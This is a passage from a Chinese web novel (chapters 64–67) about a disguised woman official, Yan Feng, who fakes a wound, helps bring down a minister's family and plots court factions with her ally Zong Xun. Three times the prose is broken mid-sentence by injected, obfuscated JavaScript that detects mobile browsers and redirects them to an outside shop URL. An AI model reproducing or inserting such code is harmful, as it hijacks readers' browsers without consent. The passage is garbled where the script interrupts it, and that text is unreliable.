燕风心中狂喜的浪潮几乎要压不住。 薛家，完了。 她强行压下几乎要飞起来的嘴角，故意停顿了一瞬，脸上装出一副不敢置信又惊怒交加的样子，朝着坡下大喊一声：“七公主！小心！” 七公主正被燕风方才大杀四方的英姿迷得晕头转向，这一声惊呼才将她终于唤醒。她猛地意识到，那个蒙面混蛋口中“两个女人”指的正是自己和珍儿！ 长这么大，她何曾受过此等污言秽语的羞辱？ 她顿时勃然大怒，对着周围那些眼神不善、缓缓逼近的江湖人厉声喝道：“尔等谁敢！我乃大靖七公主！” 薛公子在上面听得哈哈大笑，极尽嘲讽：“你说你是公主就是了？那我还说我是西天佛祖呢！” 燕风在心里默默摇了摇头，暗叹一句：神仙也救不了赶着投胎的鬼。 幸运的是，洼地里的人终究还是理智尚存。特别是那个被鸡砸过的引路人，眼见事情闹到牵扯公主、诛灭九族的地步，早已面无人色，正悄悄地、一点一点地往外缘挪动，只想趁乱赶紧逃离这是非之地。 燕风见七公主已亮明身份，心下最后一丝顾虑也烟消云散。 她挪开自己抵在箭手喉间的刀锋，顺势一脚将其踹翻在地。转而慢悠悠地，朝着那死死躲在另一蒙面人身后的薛公子走去。 她每一步都踏得缓慢而沉稳，带着无形的压迫感。 薛公子吓得魂飞魄散，将身前的蒙面人当成了最后的救命稻草，死死揪住对方衣角，声音都变了调。 “救…救我！我给你二十倍！不！三十倍！只要杀了他！” 那蒙面人倒还算靠得住，面对步步逼近的燕风，竟真的没有退缩，双眼透过面罩的缝隙，锐利地直视着燕风。 燕风也回以同样的凝视，但越看越觉得这身形和眼神透着一股该死的熟悉感。 她突然停下脚步，恍然道：“哦…你是……” 话音未落，那蒙面人毫无征兆地微微一扬手。 燕风只觉眼前景物骤然扭曲模糊，一阵强烈的眩晕感袭来。待她猛地晃了晃头，定睛再看时，周遭已彻底变了模样。 方才的荒坡、敌人、甚至声音都消失了，天地间只剩下一片无边无际的白茫茫雾气。 仿佛整个世界就只剩下了她和眼前这个蒙面人。 64. 去势 那蒙面人这才不紧不慢地扯下面罩，露出一张燕风许久未见的臭脸。 正是迟三。 只是这次，他那惯常的嫌弃眼神里，竟破天荒地掺杂了一丝赞许： “突飞猛进啊，短短几个月，竟能到如此地步。啧，你还真是个练武的奇才。” 他抱着胳膊，用施恩般的语气道：“行了，以后出去准你自称是我迟三的徒弟了！” 燕风没接这话，只是用眼神示意了一下四周这诡异的白雾。 “哦，这个啊，”迟三浑不在意地摆摆手，“小把戏。给外边那群蠢货造了点幻象。在他们眼里，咱俩现在正打得天昏地暗、难分难解呢。” 燕风这才开口，语气里满是无语：“你怎么会在这儿？还给这种怂货卖命？” “还不是因为你！”迟三没好气地哼了一声，“姓罗的那个疯子把魏蓉给宰了，断了我的财路。不得已，只好出来接点零活糊口呗。” 燕风挑眉，指了指周围的幻境：“你有这本事，去赌场里出老千，来钱不是更痛快？” “哼，”迟□□唇相讥，“你不也一样？就凭你那手绝活，世上什么宝贝偷不到？干嘛非穿着这身官皮，领那点塞牙缝都不够的死俸禄？” 燕风微微一怔，竟觉得他这话颇有几分道理。 她转而问道：“是薛兆寻的你？他好歹一部尚书，就因为我关了他儿子几天，就非要杀我不可？如此小肚鸡肠。” “他的确是想杀你，但想杀你的可不只是他一人。” 迟三幸灾乐祸地笑道：“你麻烦大了。小丫头。我只知道，招募我的是个皇子。你好好想想，自己到底得罪了哪位爷？” 燕风蹙眉沉思，她自问平日谨言慎行，实在想不出何时开罪过哪位皇子。 她摇了摇头：“我想不出。看来，还得拜托你帮我探查一番。” “好说！”迟三指了指周围的白雾，“我这不是正在帮你吗？你看，现在在外头看来，是我迟三略占上风！这样我就不算无能，回去还能继续从他们那儿接活儿。只要能接着活儿，还怕摸不清背后到底是谁？” 说着，他突然又像是发现了什么极有趣的事，促狭地用下巴指了指白雾外的某个方向： “啧，真有意思。那女娃子，当真是公主？以老子混迹红尘几十年的眼力来看，她可是迷上你了，而且这迷劲还不轻，轻易甩不脱的那种。没看出来啊，你小子还有这本事？” 燕风愁眉苦脸：“你可快别提了！这位主儿厉害得紧。我是真没辙了。迟三，迟师父！您经验老道，快教教我，怎么才能让她死了这条心？” “这可不容易，”迟三摇头晃脑，“处理不好，爱极生恨，恨极生怖，这世上可就又多了一个日夜盼着你死的人。” 忽然，他眼珠滴溜溜一转，露出一抹坏笑，“不过嘛……我倒是有个立竿见影的法子，就是嘛……有点难堪。但保准能让她一下子对你没了心思，非但如此，还会觉得亏欠了你，想着法儿地要弥补你！怎么样，试也不试？” 燕风眼神一亮：“洗耳恭听！” 迟三嘿嘿一笑，凑到她耳边如此这般、这般如此地低语了一番。 燕风皱了皱眉：“……也勉强算是个办法。就是…也太丢人了些。您等下下手…稍微收着点，我好歹还要点面子。” “放心！放心！”迟三挑了挑眉：“老子知分寸！不瞒你说，这法子老子年轻时也用过，百试百灵！” 两人又低声合计了片刻，确认无误后，迟三手一挥，周围浓郁的白雾瞬间消散得无影无踪。 下一刻，呈现在众人眼前的景象便是：燕风与那蒙面高手双双踉跄后退，各自捂着伤处。俨然一副两败俱伤、谁也奈何不了谁的模样。 七公主不知何时已拉着珍儿冲上了坡顶，见状立刻扑到燕风身边，小心翼翼地扶住他。 她声音已带了哭腔：“你怎么样？伤到哪里了？” 燕风脸色‘苍白’，却强撑着露出一抹虚弱的苦笑： “不…不碍事。公主殿下，此地不宜久留，臣…臣送您回宫……” 另一边，迟三也极其配合地捂着那抹上了鸡血的肩膀，一把揪住早已吓傻的薛公子，厉喝一声“走！”飞快地遁入山林逃走了。其余蒙面人早已作鸟兽散。 无人阻拦，燕风便强撑着，一瘸一拐地护着七公主和珍儿往城里走。 一路无话，眼看终于快要到住处，她忽然猛地一个趔趄，身体晃了晃，终于支撑不住软软地向后倒去。 “燕郎！” 七公主惊呼一声，奋力将她扶住，“燕郎！你怎么了？你哪里不舒服？我、我这就去找太医！珍儿，快去找最好的大夫！” “不…不要声张…”燕风挣扎着睁开眼，一把抓住七公主的手腕。 她气若游丝，“殿下…臣心里有数…没事，只是…只是些外伤…”她说着，似乎无意间扯开了本就凌乱的外衣。 露出了那有意用鸡血糊得一片模糊、看起来触目惊心的—— 腹部。 “只是…”她眼神痛苦而绝望地看向七公主，声音低沉而沙哑，仿佛用尽了最后的勇气。 “公主…臣恐怕…再不能人道了。” 七公主原本泪眼迷蒙的双眼瞬间睁得滚圆，嘴巴一张，一声惊骇的尖叫几乎要脱口而出。 幸而旁边的珍儿眼疾手快，一把死死捂住了她的嘴！ 珍儿脸色复杂，低声急道：“公主！公主冷静！万不可声张啊！这、这事关燕大人尊严，绝不光彩啊！” 七公主硬生生将那声尖叫咽了回去，但双腿一软，几乎瘫倒在地。 没一会儿，她眼中的震惊和痛苦迅速褪去，转而燃起一种近乎疯狂的怒火和仇恨。她死死咬着牙，一字一句地从齿缝里挤出来： “燕郎…你是为了保护我才…才到了这地步…” “你放心！我保你一世平安富贵！我还要让他们…给你偿命！” * 薛家倒得迅疾而彻底。 七公主一回去，便径直寻到了三皇子处。 她哭得梨花带雨，将城外遭遇的惊险添油加醋地说了一遍，尤其着重描述了薛家公子如何狂妄，以及那番令人作呕的下作言论。 三皇子起初还皱着眉头：“七妹，此事非同小可，薛家并非小门小户。你可有实证？万不能凭空污蔑朝廷重臣之子啊！”却又在听到“不可言说之重伤”几字，眼中骤然一亮，原本的疑虑瞬间被一种难以言喻的兴奋所取代。 他立刻换上一副痛心疾首、感 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485570|201982||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 同身受的表情，仔细询问了每一个细节，尤其是燕镇抚的伤势。 安抚好妹妹后，三皇子片刻未停，立刻求见皇帝，神色凝重地将此事详述了一遍。言语间自然突出了薛家的嚣张跋扈、意图对公主不轨，以及燕镇抚为护驾而付出的惨重代价。 皇帝听着，面色古怪，心情颇为复杂，甚至觉得此事荒唐得有些可笑。 但恰在此时，他的目光落到了龙案一角—— 那里正放着一封北镇抚司不久前才呈上的密件。 他记起来了，那里面密密麻麻罗列着薛兆尚书近几年来卖官鬻爵的罪证。里头证据链并不算完整，但数额之巨，却让人心惊。 于是，各方心怀鬼胎，却在此刻达成了一种诡异的默契。 皇帝陛下勃然大怒，下旨严查。 查办的过程雷厉风行，顺畅得超乎想象。不过短短数日，薛家父子的脑袋，便一同搬了家。 复仇名单上狠狠除了一笔，燕风自然痛快。可痛快之余，却又生出几分愁绪。 无他，抄家那日，她顶着众人各异的目光，强撑着病体去瞧了一眼。 薛家虽账册上进项惊人，出项却更是骇人。那薛家公子挥霍的本事远胜其父贪墨的能耐，竟将偌大家财散去了十之七八。 燕风粗粗盘算，余下的那些，怕是只够金銮殿上那位采办一年的新衣罢了。然而，就为了这点微末进项，北镇抚司燕风燕大人的名声，在民间算是彻底臭了。 薛兆贪墨案牵连甚广。 若真要一查到底，不知多少人要跟着掉脑袋。但皇帝的意思却是点到为止。 燕风明白，这是皇帝不愿涸泽而渔，想养肥了再宰。 侥幸逃过一劫的官员们自然感念皇恩浩荡，却将这番担惊受怕的账，全数记在了燕风头上。 他们自然不敢明着与北镇抚司作对，但花些银钱，买通几个说书先生编排一下恶心人，还是轻而易举。 说书人的嘴岂是好惹的？ 平日里便能将白的说成黑的，何况是百姓们最喜闻乐见的、朝廷鹰犬的阴私之事？ 即便抓了几个带头的，仍是屡禁不止。没过几天，满城百姓都津津乐道于北镇抚使燕大人已然雄风不再。至于那缘由，更是被演绎得五花八门，一个比一个不堪入耳，完美契合了市井对酷吏的种种丑恶想象。 北镇抚司内部近来也气氛凝重，属下们个个谨言慎行，生怕触了头儿的霉头。 毕竟重伤在身，又遭此污名，设身处想想就知道有多绝望。 但燕风本人对此倒不甚在意。 当然她也并非全无顾虑。她想，是时候给江鱼找个去处了。 她可不想连累到无辜的人，尤其是江鱼。 十七岁姑娘的心事实在难以忽略，燕风最终还是决定冒险，悄悄去寻一趟陈青。 永宁公主一案后，上林苑监被撤换了一大批人，陈青因此补了个闲缺，总算在京城勉强立足。他早已不在长公主府暂住，而是独自在城南赁了间小屋。 那屋子窄□□仄，燕风半夜从窗口悄无声息地翻入时，陈青正解了外衣准备歇下，两人几乎撞了个面对面。 陈青吓得一哆嗦，张口欲呼，却被燕风一把捂住了嘴。 “嘘，是我。” 65. 称心 “燕…公主？” 陈青惊疑不定地打量着她这一身玄色劲装，“您不是该在宫里……怎会这身打扮来此？” 燕风低头看了看自己这身北镇抚司缇骑的制服。她本想着若被人撞见，好歹能冒充个寻常属下蒙混过去，眼下却听得一愣。 “你……不知我如今身份？” 转念一想，自己这事自是越少人知晓越好，宗恂没说也是正常。便三言两语将现状说了个大概。 陈青恍然大悟：“宗将军只说是你将我们从牢里救出，我还以为是公主代为求情……原来如此！等等，你说你现在是北镇抚司的头儿？那不就是那个……燕镇抚使？” 燕风尴尬地点了点头，看来城南的说书先生也没少出力。 但她无暇闲话，直接切入正题：“我今夜冒昧前来，是想问你一句：你可愿娶江鱼？” “啊？”陈青低呼一声，显然受惊不小。 “我知此举唐突。你只需答我，愿或不愿。若你愿意，并肯应我此生善待于她，我拼尽全力也为你搏个好前程。你也别觉着我厚此薄彼，咱们三人也算是生死与共的兄弟，我之前不来找你，也是怕惹了旁人的眼，即便你不应，该帮你的我依旧会帮。只是若你二人能凑成一块儿，我也省得操两头心。” “我……”陈青面露难色。 燕风心下暗叹，只道他是不愿。 这也难怪，她今夜行动确实冒昧，也不是是对男女就能凑成一对的。骤然谈婚论嫁，确是强人所难。 “不愿便直说，千万别勉强。强扭的瓜不甜，这道理我懂。” “非是不愿，而是……不能。” 陈青抬起头，“燕风，你能不能……把我也弄进北镇抚司？” 这下轮到燕风傻眼了。 她几乎手舞足蹈：“你当那是什么好去处？这几日你没去茶馆听书吗？我知你上进，可也别投错了门路！你且等我些时日，我攒些人脉，定将你荐去个清贵安稳的好衙门！” 陈青却摇头：“既然北镇抚司并非好地方，那你为何不在宫中安稳做你的公主，偏要进去？” “这……”燕风一时语塞。 “江鱼曾与我提过，你当年从军，是为报仇。” 燕风心下骤然一沉，自己当年的无心之言，若流传出去恐生大祸。 陈青似是看出了她的忧虑，轻声道： “你尽管放心，此事我绝不会透露与旁人。我只是想说，我若只贪图安逸富贵，当年又何必投身那支残兵老卒的军伍？我既有所图，如今也不会心甘情愿，在这皇城脚下做个无足轻重的小吏。” 他说到这里，目光愈发炯然：“你有你的仇要报，我也有我的苦衷。” “这么说，你可明白？” 燕风沉默了片刻，也不追问，缓缓点了点头。 “若你心意已决，我便应了你。” 言罢，她环顾这间陋室，“短则几日，长则半个月，你便能收到任命，到时候，就搬来我赁的宅子同住吧。” 陈青连忙摆手：“不必不必！我在此处甚好，何苦平白损你名声？” 燕风却笑了：“反正我的名声早已烂透了，虱子多了不怕痒。你若不搬来，我倒不好向上头开这个口要人。” 过了十几日，任命果然下来了。 这日下午快要黄昏，江鱼正在灶前看着火，忽听得前门传来几下轻轻的叩门声。 她一边擦着手一边小跑过去，嘴里嘟囔着：“今日怎么回来得这么早……” 木门“吱呀”一声拉开半扇。 猝不及防，门外站着的，竟是陈青。 江鱼愣住了，扶着门框的手指颤了颤，几乎是下意识的，她“砰”地一声又把门给合上了！ 背靠着冰凉的门板，她觉得脸颊烧得厉害，心“扑通扑通”跳得又急又响。 门外静默了一瞬，随即响起陈青带着几分不确定的声音。 “江鱼？” 江鱼深吸一口气，强压下心头的慌乱，再次将门拉开。这次她没敢直视他的眼睛，目光落在他洗得发白的衣襟上，颤声道： “对、对不住……我没想到是你。” 她侧身让开，尝试露出一个坦然的久别重逢的笑：“快请进来吧。” 陈青提着包袱迈进门槛，轻声解释道：“燕大人安排我暂住西厢房。” “应当的。” 江鱼轻声应着，悄悄抬眼看他清矍的面庞，心头的羞怯渐渐被心疼取代。 他这些日子，定是吃了不少苦。 她看着他手边那小小的包裹，忍不住问：“就……这些行李么？” “嗳，”陈青点点头，“本也没多少东西。” 江鱼引他往院里走，春天的日头透过院中槐树的枝叶，落在他肩头，投下斑驳的光影。她走在他身侧，能闻到他身上淡淡的皂角清气。方才关门的窘迫渐渐散去，取而代之的是一种雀跃的欢喜。 等他实在是好久了。 从刚搬来的时候就一直在等。 “西厢房一直收拾着的，”她声音软软的，“一路走来渴了吧，你先安顿，我，我去给你沏壶新茶。” 陈青停下脚步：“有劳了。” 江鱼摇摇头，转身往厨房走去。唇角悄悄弯起一个藏不住的弧度。 灶上的米饭正咕嘟咕嘟地冒着热气，她看着那袅袅白烟，心想，晚上要多炒几个鸡蛋才是。 * 燕风今日的心情也颇为舒畅。 这段日子，为了将陈青调来北镇抚司，她少不得与各衙门的同僚们应酬周旋。起初她还觉得这般虚与委蛇甚是别扭，可几场酒喝下来，竟渐渐品出几分趣味来。 朝堂上这些平日里道貌岸然、满口仁义道德的官员，三杯黄汤下肚，便像是换了个人。官袍一脱，什么体统规矩都抛到了脑后，勾肩搭背称兄道弟的有之，红着眼睛抱怨上司苛待的有之，更有甚者，连家中妻妾争风、外室逼宫的阴私事都能抖落出来。 燕风平日不喜饮酒，但或许是幼时饥寒交迫，常偷宫里的藏酒暖身果腹的缘故，她竟有一副千杯不醉的肠胃。常常是整桌人都已东倒西歪、胡言乱语。唯独她眼神清明，伴装不胜酒力地伏在案上，实际上却听得津津有味。 那些半真半假的牢骚、看似无心的抱怨、乃至刻意透露的讯息，倒省了她不少力 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485571|201982||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气。 于是燕镇抚好酒的名声便传开了。 今日晌午，又有人来递来帖子要请她喝酒，她本想回绝的，因为算算日子，陈青该搬来了。但仔细看了看帖子，她又改了主意。 只因帖子上面的地址写的是—— 兰香馆。 此时兰香馆二楼的雅间里，南直隶淮安知府的心腹幕僚赵文渊正坐立不安。他对面坐着个满面红光的胖子，正是京城有名的掮客——孙百通。 这做掮客的，是京城里一种心照不宣的行当。 他们自身并无官身，却凭着玲珑心窍和钻营手段，在各方势力间牵线搭桥，最是消息灵通。官场上许多不可明言的勾当便经由他们之手。这孙百通，则是此中翘楚。 "孙先生，"赵文渊斟酌开口，"此事非同小可。再过几月朝觐开始，便什么都来不及了。" "赵先生放心！" 孙百通心中嗤笑这外地人见识短浅，胖脸上却满是真诚和自信，不厌其烦地开解道："欺负令东翁的那位漕运总督，背后站的是徐家。徐家是谁的人？是东宫太子！如今朝中谁不知太子与三殿下势同水火？你要对付徐家的人，不找三殿下又能找谁呢？" 他凑近道："可三殿下天潢贵胄，岂是你我能见的？自然要从他身边得力的人下手。北镇抚司的燕镇抚，便是三殿下跟前最近的红人！" 赵文渊心中震动，面上却强作镇定："何以见得？" 孙百通得意一笑："前些日子闹得沸沸扬扬的薛府抄家案，听说过吧？" 见赵文渊点头，他继续道："薛兆可是刑部尚书，说斩就斩了。燕镇抚才出茅庐多久，哪来这般通天手段？背后站着的，你可知是谁？" "三殿下？" "对喽！"孙百通一副孺子可教的表情："你把难处跟燕大人一说，他转述给三殿下，一切迎刃而解。" 赵文渊心里信了七分，又问："那你确定他今日会来？" 孙百通其实毫无把握，但既收足了银子，面上自是万分笃定。 "他今日定来！赵先生可知这兰香馆与别处有何不同？" 不待回答，他重重拍手。房门应声而开，一群衣饰精致的美人鱼贯而入，个个低眉顺目，姿容出众。 仔细看，竟是男女各半。 孙百通满意地扫视一圈，又挥手让他们退下，这才对目瞪口呆的赵文渊道： "瞧见了吧？满京城的秦楼楚馆，这几个月几乎都被北镇抚司扫了一遍，唯独这兰香馆安然无恙。不瞒你说，孙某先前也纳闷，直到今日才想明白！" 赵文渊眼睛瞪得更圆：“难道燕大人好的是——” “正是正是。”孙百通神秘兮兮地压低嗓子："兰香馆可是京里唯一养着小倌的地方。还有更确凿的消息，燕镇抚今日刚从上林苑监调了个人，还让那人直接住进自己府里去了。那人没什么特别的，就是生得一表人才……" 孙百通向后一靠，露出一个‘你懂得’的笑： "我孙某人混了大半辈子了，算是悟透了。世上哪有什么真正的难事，只要你诚意给得足，又叫人舒心得紧。一切自然水到渠成。” 66. 党争 话音未落，雅间外便传来沉稳的脚步声。 孙百通眼睛一亮，急忙起身整理衣冠，对赵文渊使了个眼色。 门被推开，一道着面甲的身影迈步而入。 "燕大人大驾光临，蓬荜生辉啊！"孙百通满脸堆笑地迎上前去。 燕风在主位落座，开门见山："孙先生相邀，所为何事？" 孙百通忙给赵文渊使了个眼色。 赵文渊定了定神，恭敬作揖："在下赵文渊，乃南直隶淮安知府门下幕友。久仰大人威名，特来拜会。" 酒过三巡，在孙百通的巧妙周旋下，赵文渊终于适时道出来意。他长叹一声，面带忧戚。 “不瞒燕大人，此番冒昧叨扰，实是为我家东主，淮安知府王大人一事而来。东主眼下处境艰难，只怕……等不到今年朝觐，便要遭人构陷下狱！” 他有意一顿，却见燕风只垂眸把玩酒杯，并不接话。于是只得继续开口，声调愈发沉郁： “去年漕粮北运，淮安段河道突发淤塞。为保漕运不误，东主迫不得已，临时征调民夫、添购物料，因而比往年多支了一笔款项。谁料就因这非常之举，竟被漕运总督张大人抓住了把柄，硬要参他一个贪墨漕银、账目不清！” 言至此处，赵文渊神色激动：“燕大人明鉴！东主一心为公，绝无半点私念！那张总督分明是借题发挥，背后……怕是徐家的授意！” 他有意加重‘徐家’二字，目光谨慎地望向燕风的脸。 “哦？” 燕风终于抬眼，“哪个徐家？赵先生这话，可有凭证？” “这……朝野上下，还有哪个徐家？”赵文渊苦笑。 “白纸黑字的证据自然难有，但张总督与徐家是姻亲，往来密切，人所共知。去岁徐家二公子途经淮安，东主因公务缠身，略失周到，想来便是那时结下芥蒂。如今只求燕大人体恤下情，在京中代为周旋，好歹，容东主有个面圣自辩的机会！” 燕风静默片刻，面上不见波澜，指节却轻轻叩着桌面，忽似无意般问道： “去年淮安河道淤塞，是几月的事？” 赵文渊心头一凛，谨慎应道：“约莫……九月底、十月初。” “漕粮北运，最终期限是十月中。” 燕风语气平静，“王知府能在半月之内疏河通漕，倒也难得。” 赵文渊一时辨不出他话中深意，只得低声应和：“东主确是竭尽了心力。” 燕风不再追问，只是举杯示意：“淮安知府的不易，本官知道了。” 她没有承诺任何事，但也没有拒绝。 孙百通见状，立刻满脸堆笑地打起圆场：“哎呀，赵先生，你且宽心！燕大人既然说了‘知道了’，自然会放在心上。来来来，正事既已谈过，莫要辜负了这美酒佳肴！大人，您再饮一杯！” 他适时地拍了拍手。 房门无声滑开，那群精心打扮的美人便如先前安排好的那般，悄无声息地鱼贯而入。 燕风挑眉，看向孙百通：“这是什么意思？” 孙百通打了个哈哈：“不过是助助酒兴……” 燕风眉头微蹙，语声威严："孙先生的好意心领了。只是北镇抚司的职责所在，这般安排，实在不妥。" 她目光随话音扫过众人，却在触及队伍最末时微顿。 那有个少年垂首静立，身量比旁人高出不少，烛光在他清隽的侧脸投下淡淡阴影。 孙百通是何等的机灵人物，当即笑着转圜："大人恪尽职守，实在令人钦佩。不过既然人都来了，总得留个手脚伶俐的伺候酒水。" 说着便朝那少年示意："你，过来斟酒。其他人都退下罢。" 那少年应声上前，步履轻稳地在燕风身侧坐下，执起酒壶的动作恭敬而不失优雅。他始终低垂着眼，分寸拿捏得恰到好处。 燕风倒也不再多言，默认了这个安排。 孙百通暗中松了口气，忙又热络地举杯劝酒，席间气氛重新活络起来。 又饮过几巡，孙百通适时地揉了揉额角，面露倦色："到底是年纪不饶人，这才几杯下肚，就有些头晕眼花了。"他说着朝赵文渊使了个眼色。 赵文渊会意，也放下酒杯："在下也有些不胜酒力，怕是不能再陪了。" 两人起身告退，临走时孙百通还特意对那侍酒的少年嘱咐道："好生伺候着大人。" 房门轻轻合上，雅间内顿时安静下来，只剩下烛火偶尔噼啪作响。 那少年依旧垂着眼，酒杯又空了。他双手静静放在桌子上，却不再有动作。 燕风也低着头，视线自然落在那双指节分明的手上，心头没来由地微微发痒。 “七次。”那少年今夜第一次开口，嗓音却分外熟悉。 “什么？”燕风随口接道，并不感到意外。 “过去半个月里，你和人出去喝了七次大酒，次次都是烂醉如泥。还不算今日。”宗恂冷冷道。 燕风轻笑了一声，刚想解释自己体质特殊，喝酒从没醉过。忽然鬼使神差地住了嘴，改口道：“我心里有数。” 也许偶尔能醉一回，也没什么不好。 她摘下了面具，微微前倾，轻轻握住了那双她注视了许久的手。肌肤相触的一瞬，才觉得心头的痒意被抚平些许。 她微红的脸上带笑，心里却有些委屈：这么久了，好像从来也没握过几次。 “将军今日偷懒了，只画了脸，却忘了手。哪家细皮嫩肉的小倌，会有这样一双布满老茧的武夫的手？一摸就露馅儿了。” 宗恂面色愈沉，“你平日喝了酒，也会这样动手动脚吗？” “天地良心！”燕风低声惊呼，露出几分少女的憨态，“您怎能凭空污人清白！” 她又狡黠地一笑：“我喝酒也是有缘由的，还不是为了陈青能顺利搬过来？若是喝酒能把您请到我家去和我同住。别说七次，百次千次，我也当视死如归！” 宗恂不知想到了些什么，一下子哑了火。 燕风看着他发红的耳廓，心情大好，抽回一只手，指尖轻轻拨弄着空酒杯。 “再说了，我也不是次次都去。就拿今日来说吧，我本来不想来的，但兰香馆是你和罗同师傅的地盘，我一直想来看看，却找不到合适机会。这不就是巧了吗！” 宗恂轻咳了一声，正色道：“莫要胡闹。” “今日之事，你怎么看？你信那姓赵的说辞？” 燕风嗤笑一声，神色也认真了几分：“能怎么看？一个四品知府，无非是叫人拿住了痛脚，慌不择路罢了。当着我面提徐家，不过是将我当作现成的三皇子党。” “想把一桩地方贪墨案往派系储君之争上扯，指望京城里的大人物们替他斗法。”她轻轻摇头，“不知死活。” “孙百通这一回，中人费要得极狠。若我所料不差，待我走出这间屋子，必有一份厚礼相候。人还未进京，银子倒像流水般往外泼。你说，一个安分守己的知府，几辈子能攒下这般家底？” 宗恂点头：“你心里清楚便好。这顿饭，吃过便算了，就当什么也没听过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485572|201982||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。官场上的事，一步踏错就是万劫不复，更何况是派系乃至东宫之争。” 燕风不置可否，忽然问道："你自幼在宫中长大，太子与三皇子，究竟都是怎样的人？" 宗恂沉吟片刻，方道："太子虽是嫡长，性子却自幼懦弱胆怯。这恐怕与他母亲徐皇后有关。徐皇后是陛下入京前的发妻，身后并无家族倚靠，为人一直内敛谨慎。太子的这份怯懦，在皇帝被边靼虏去、景宪帝在位那几年，怕是变本加厉：因他作为前朝储君，被圈禁打压得是最狠的。" "而三皇子，自幼张扬，胆大，甚至可称跋扈。" 燕风蹙眉："可北镇抚司的卷宗记载，徐皇后出身京师徐家，这分明是百年望族。" "这是后来的事了。"宗恂摇头，"徐皇后虽姓徐，实是北地人，与京师徐家根本毫无干系。是皇帝被放回之后，为她抬身份，才攀上的这门亲戚。说是感念她的情谊。因徐皇后在皇帝被俘之事哭坏了身子，没多久便薨了。" "说是？"燕风敏锐地捕捉到这个词。 宗恂唇角掠过一丝讽刺的笑："是啊，‘说是’。谁知皇帝真正作何想？三皇子母族有从龙之功，声势日盛。若不给太子寻个像样的倚仗，两边如何抗衡？若继任者胜负早分，他这个皇帝，又如何高枕无忧？" "看来徐家是被硬推上船的，并非真心拥戴太子。" 燕风眸光闪动，"难怪三皇子一派急着要与徐家联姻……" 她忽然顿住，若有所思，"难道我之前想错了？" 宗恂意味深长地看她一眼："徐家并非铁板一块。你先前所想，倒也未必全错。" 燕风闻言轻笑："果然什么都瞒不过你。" 她指尖轻点桌面，"梅园那只猛虎，陛下虽交给了洪草包去查，但我私下里也在看。看来看去，最后却查到徐家人身上了。" "我原想着，若徐家是铁杆的太子党，此事倒也说得通。但若徐家本是被迫站队，此举就太过冒险了。不过你说得对，这等世家大族，内里分作几派也是常事。" 宗恂目光落在她沉思的侧脸上："你问这些做什么？" 燕风笑道：“你方才说夺嫡之事凶险，可我们谋划的事，难道不比这凶险百倍？既然横竖都是赌命，我倒觉得，只要有利可图，什么路子都值得一试！” “那你当如何？” 她没有立即作答，话锋陡然一转：“有件事一直没来得及告诉你：永宁的死，我本可以阻止。” “那一箭，我是故意射偏的。” 宗恂并不意外：“嗯，我之前大概猜到了。是为了巧杏吧？那个你提过的，一心想要报仇的婢女。” “是，我敬重巧杏以卵击石的勇气，却也替她不甘心！永宁就算死了，照样享尽哀荣，上林苑监多少人头为她落地！世人提起她，只记得她曾是大靖最得宠的公主，谁还记得她活着时造了多少冤孽？谁又知道她根本死有余辜！” 燕风指节攥得发白，酒杯在掌心发出细微的悲鸣： “你看，这事何等眼熟？纵使我们事成，帝王身死仍是帝王，北地英魂的埋骨处却依旧被世人唾弃！待百年后我们都黄土埋骨，史书上他仍是圣明君父，宗家军还是叛国罪人！而我们——” 她一字一顿，“不过是犯上作乱的弑君恶徒！” “能评定皇帝的，唯有下一个皇帝。锦上添花何如雪中送炭？若徐家有人不甘被绑上太子的破船…” 她唇角勾起冷冷的弧度：“我不介意暂居其位，替他们，把这太子党做到底！” 67. 喜糖 宗恂不语，只深深地望着她。 “你怎么不说话，你的意思呢？” 一番慷慨言尽，燕风心头忽浮起一丝忐忑。恍如陇地初逢那夜，她滔滔不绝，他却始终沉默。 宗恂的喉咙忽然有些发干，他快速眨了眨眼，将视线从她脸上移开。 他道：“我只是在想，京中高手有几何，几座千斤弩机都存放在何处。若你真遇上险情还不幸受了伤，我是否有能力把你带走。” “那结论呢？”燕风挑眉。 宗恂笑道：“幸而宗某多年来练武不辍，当有六成把握，若加上罗同师父等人，可有九成。” 燕风笑眯了眼，颊边泛起淡红，忽伸手轻抚他脸颊。 “你今日易容，眉毛不是你的，眼睛不是你的，鼻子也不是你的，唯独这嘴唇没变，教我一眼认出。你可是故意的？” 她轻笑：“其实不必，从前你画成那样，连身量都改了，我不也一眼认出你……嗯……” 话音未落，唇已被封缄。 他揽她坐上膝头。 肢体交缠间她眼波流转，一只手悄然向下探去，却在到达目的地前被他牢牢扣住。 “嗯？”她笑问。 “楼下此时可算是人山人海，除开我们的人，还有方才那两人留下的耳目。” 宗恂紧扣着她不安分的手，耳朵红得像是要滴出血来的。 “噢。” 